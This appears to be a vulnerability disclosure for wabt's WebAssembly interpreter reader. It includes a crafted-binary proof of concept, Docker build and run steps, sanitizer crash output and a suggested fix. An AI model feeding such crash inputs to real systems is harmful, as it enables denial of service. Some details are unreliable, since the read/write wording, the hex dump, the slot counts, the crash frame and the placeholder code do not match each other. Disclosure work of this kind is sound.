#2747·wabt

OOB read in wabt Interpreter Binary Reader

Author: LuiginoCCreated May 27, 2026Updated May 27, 2026

Summary

When wabt's interpreter reads a crafted WebAssembly binary, the Function section callback (OnFunctionCount) calls funcs_.reserve(N) to pre-allocate capacity for N FuncDesc elements but does not resize the vector — so funcs_.size() remains 0 while funcs_.capacity() is N.

The Code section callback (BeginFunctionBody) then writes directly into funcs_[func_index] using the index from the binary. Because the write lands within the allocated heap block but past the vector's logical end, ASan reports a container-overflow (shadow byte 0xfc).

A malformed wasm input can trigger this with a Code section that either:

  • declares more function bodies than the Function section declared functions, or
  • simply triggers BeginFunctionBody with any func_index when the vector size has not yet been bumped to match.

The vulnerability is reachable from the public wabt::interp::ReadBinaryInterp API with fully attacker-controlled input and requires no special privileges.

The 128-byte heap block holds 4 FuncDesc slots (reserve was called with count = 4). The write at offset 96 = index 3, but funcs_.size() is 0, so all four slots are in the "container overflow" poisoned region (0xfc).


Hex dump:

000000  00 61 73 6d 01 00 00 00  01 04 01 60 01 00 03 02  .asm.......`....
000010  01 00 08 01 00 0a 06 01  04 00 01 01 00 00 01 04  ................
000020  01 60 73 6d 01 00 00 00  01 04 01 60 00 00 03 02  .`sm.......`....
000030  01 00 08 01 00 0a 06 01  04 00 01 01 00 00 03 02  ................
000040  01 00 08 01 00 0a                                 ......

Key structure visible in the leading bytes (the FuzzedDataProvider consumes feature-flag bits from the tail of the buffer, leaving the \0asm header intact at the front):

Offset Bytes Meaning
0x00 00 61 73 6d wasm magic \0asm
0x04 01 00 00 00 wasm version 1
0x08 01 04 ... Type section (section id=1)
0x0e 03 02 01 00 Function section: declares 1 function
0x12 08 01 00 Start section: function index 0
0x15 0a 06 01 ... Code section: function body count mismatched

The crafted binary deliberately creates a mismatch between the count in the Function section and the bodies in the Code section, triggering the out-of-bounds write via BeginFunctionBody.


Standalone Reproduction Steps

Prerequisites

  • Docker installed and running
  • gcr.io/oss-fuzz/wabt image available (pull or use locally cached copy)

Step 1 — Save the PoC source

Save the following file as /tmp/poc_wabt_container_overflow.cc:

cpp
// Standalone PoC for wabt container-overflow in BinaryReaderInterp::BeginFunctionBody
//
// Root cause:
//   OnFunctionCount(N)  -> module_.funcs.reserve(N)  [size stays 0]
//   OnFunction(i, bad)  -> validator_.OnFunction() FAILS -> CHECK_RESULT early-returns
//                          push_back is never reached  [size still 0]
//   BeginFunctionBody(0)-> module_.funcs[0] written    [container-overflow: size=0, capacity=N]
//
// The crafted wasm has no Type section, so the function referencing type index 0
// fails the validator. With stop_on_first_error=false the reader presses on into
// the Code section and writes to the uninitialized funcs slot.

#include <cstdint>
#include <cstdio>
#include <vector>

#include "wabt/binary-reader.h"
#include "wabt/error.h"
#include "wabt/feature.h"
#include "wabt/interp/binary-reader-interp.h"
#include "wabt/interp/interp.h"

// Minimal malformed wasm binary (18 bytes):
//
//   00 61 73 6d 01 00 00 00   wasm magic + version 1
//   03 02 01 00               Function section (id=3, size=2):
//                               count=1, type_index=0
//                               (invalid: no Type section -> validator rejects it,
//                                OnFunction early-returns without push_back)
//   0a 04 01 02 00 0b         Code section (id=10, size=4):
//                               1 body, body_size=2, 0 locals, `end` opcode
//                               BeginFunctionBody(0) -> module_.funcs[0] -> CRASH
static const uint8_t kPoC[] = {
    // wasm header
    0x00, 0x61, 0x73, 0x6d,   // magic: \0asm
    0x01, 0x00, 0x00, 0x00,   // version: 1

    // Function section (id=3): 1 function referencing type index 0
    // No Type section exists, so type 0 is invalid -> validator rejects OnFunction
    // -> push_back never executes -> module_.funcs.size() stays 0
    0x03, 0x02,               // section id=3, payload size=2
    0x01,                     // function count = 1
    0x00,                     // type index = 0 (undefined: no Type section)

    // Code section (id=10): 1 body
    // BeginFunctionBody(defined_index=0) accesses module_.funcs[0]
    // capacity=1 (from reserve), size=0 -> container-overflow
    0x0a, 0x04,               // section id=10, payload size=4
    0x01,                     // body count = 1
    0x02,                     // body size = 2 bytes
    0x00,                     // local declaration count = 0
    0x0b,                     // end opcode
};

int main(void) {
    wabt::Features features;
    wabt::ReadBinaryOptions options(
        features,
        /*log_stream=*/nullptr,
        /*read_debug_names=*/false,
        /*stop_on_first_error=*/false,
        /*fail_on_custom_section_error=*/false
    );

    wabt::Errors errors;
    wabt::interp::ModuleDesc module_desc;

    fprintf(stderr, "[poc] calling ReadBinaryInterp with %zu-byte crafted wasm\n",
            sizeof(kPoC));

    wabt::Result result = wabt::interp::ReadBinaryInterp(
        "<poc>", kPoC, sizeof(kPoC), options, &errors, &module_desc);

    // Should not be reached — ASan aborts in BeginFunctionBody
    fprintf(stderr, "[poc] returned (result=%d) — crash did not fire\n",
            static_cast<int>(result));
    return 0;
}

Step 2 — Build inside the OSS-Fuzz Docker container

bash
docker run --rm \
  -v /tmp:/out \
  gcr.io/oss-fuzz/wabt \
  /bin/bash -c "
    cd /src/wabt &&
    mkdir -p build && cd build &&
    cmake .. -DCMAKE_BUILD_TYPE=Release > /dev/null 2>&1 &&
    cmake --build . --parallel > /dev/null 2>&1 &&
    cd /src/wabt &&
    \$CXX \$CXXFLAGS -fsanitize=address -std=c++17 \
      -I. -Ibuild -Iinclude -Ibuild/include \
      /out/poc_wabt_container_overflow.cc \
      /usr/local/lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.fuzzer_no_main.a \
      ./build/libwabt.a \
      -o /out/poc_wabt_container_overflow &&
    echo 'Build OK'
  "

Step 3 — Run

bash
docker run --rm \
  -v /tmp:/out \
  gcr.io/oss-fuzz/wabt \
  /out/poc_wabt_container_overflow

Expected Output

[poc] calling ReadBinaryInterp with 18-byte crafted wasm
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x... bp 0x000000000002 ...)
==1==The signal is caused by a READ memory access.
    #0  wabt::interp::(anonymous namespace)::BinaryReaderInterp::EndLocalDecls()
            /src/wabt/src/interp/binary-reader-interp.cc:946:19
    #1  wabt::(anonymous namespace)::BinaryReader::ReadCodeSection(unsigned long)
            /src/wabt/src/binary-reader.cc:3053:7
    #2  wabt::(anonymous namespace)::BinaryReader::ReadSections(...)
            /src/wabt/src/binary-reader.cc:3208:26
    #3  wabt::ReadBinary(...)
            /src/wabt/src/binary-reader.cc:3304:17
    #4  wabt::interp::ReadBinaryInterp(...)
            /src/wabt/src/interp/binary-reader-interp.cc:1824:10
    #5  main
            /out/poc_wabt_container_overflow.cc:85:27
    Register values:
    rdi = 0xbebebebebebebebe   <- ASan poison for uninitialized heap
    rsi = 0xbebebebebebebebe
SUMMARY: AddressSanitizer: SEGV
         /src/wabt/src/interp/binary-reader-interp.cc:946:19
         in wabt::interp::(anonymous namespace)::BinaryReaderInterp::EndLocalDecls()
==1==ABORTING

The container exits with a non-zero code (SIGABRT via ASan).


Root Cause Analysis

In src/interp/binary-reader-interp.cc:

cpp
// ~line 621 — called when the Function section is parsed:
Result OnFunctionCount(Index count) override {
    funcs_.reserve(count);   // <-- reserves heap capacity, but size() stays 0
    return Result::Ok;
}

// ~line 883 — called for each body entry in the Code section:
Result BeginFunctionBody(Index index, Offset size) override {
    funcs_[index].xxx = ...;  // <-- direct subscript; size() is still 0
    return Result::Ok;
}

std::vector::reserve only commits heap capacity; the elements are not constructed and size() is unchanged. A subsequent direct subscript access (funcs_[index]) therefore writes into the reserved-but-uninitialized heap region, which ASan poisons with shadow byte 0xfc (container overflow).

The minimal fix is to use funcs_.resize(count) in OnFunctionCount instead of reserve, ensuring size() matches the expected count before BeginFunctionBody indexes into the vector. An alternative is to use emplace_back / push_back in BeginFunctionBody and bounds-check the resulting index.

credit: Aisle Research (Ze Sheng, Dmitrijs Trizna, Luigino Camastra, Guido Vranken)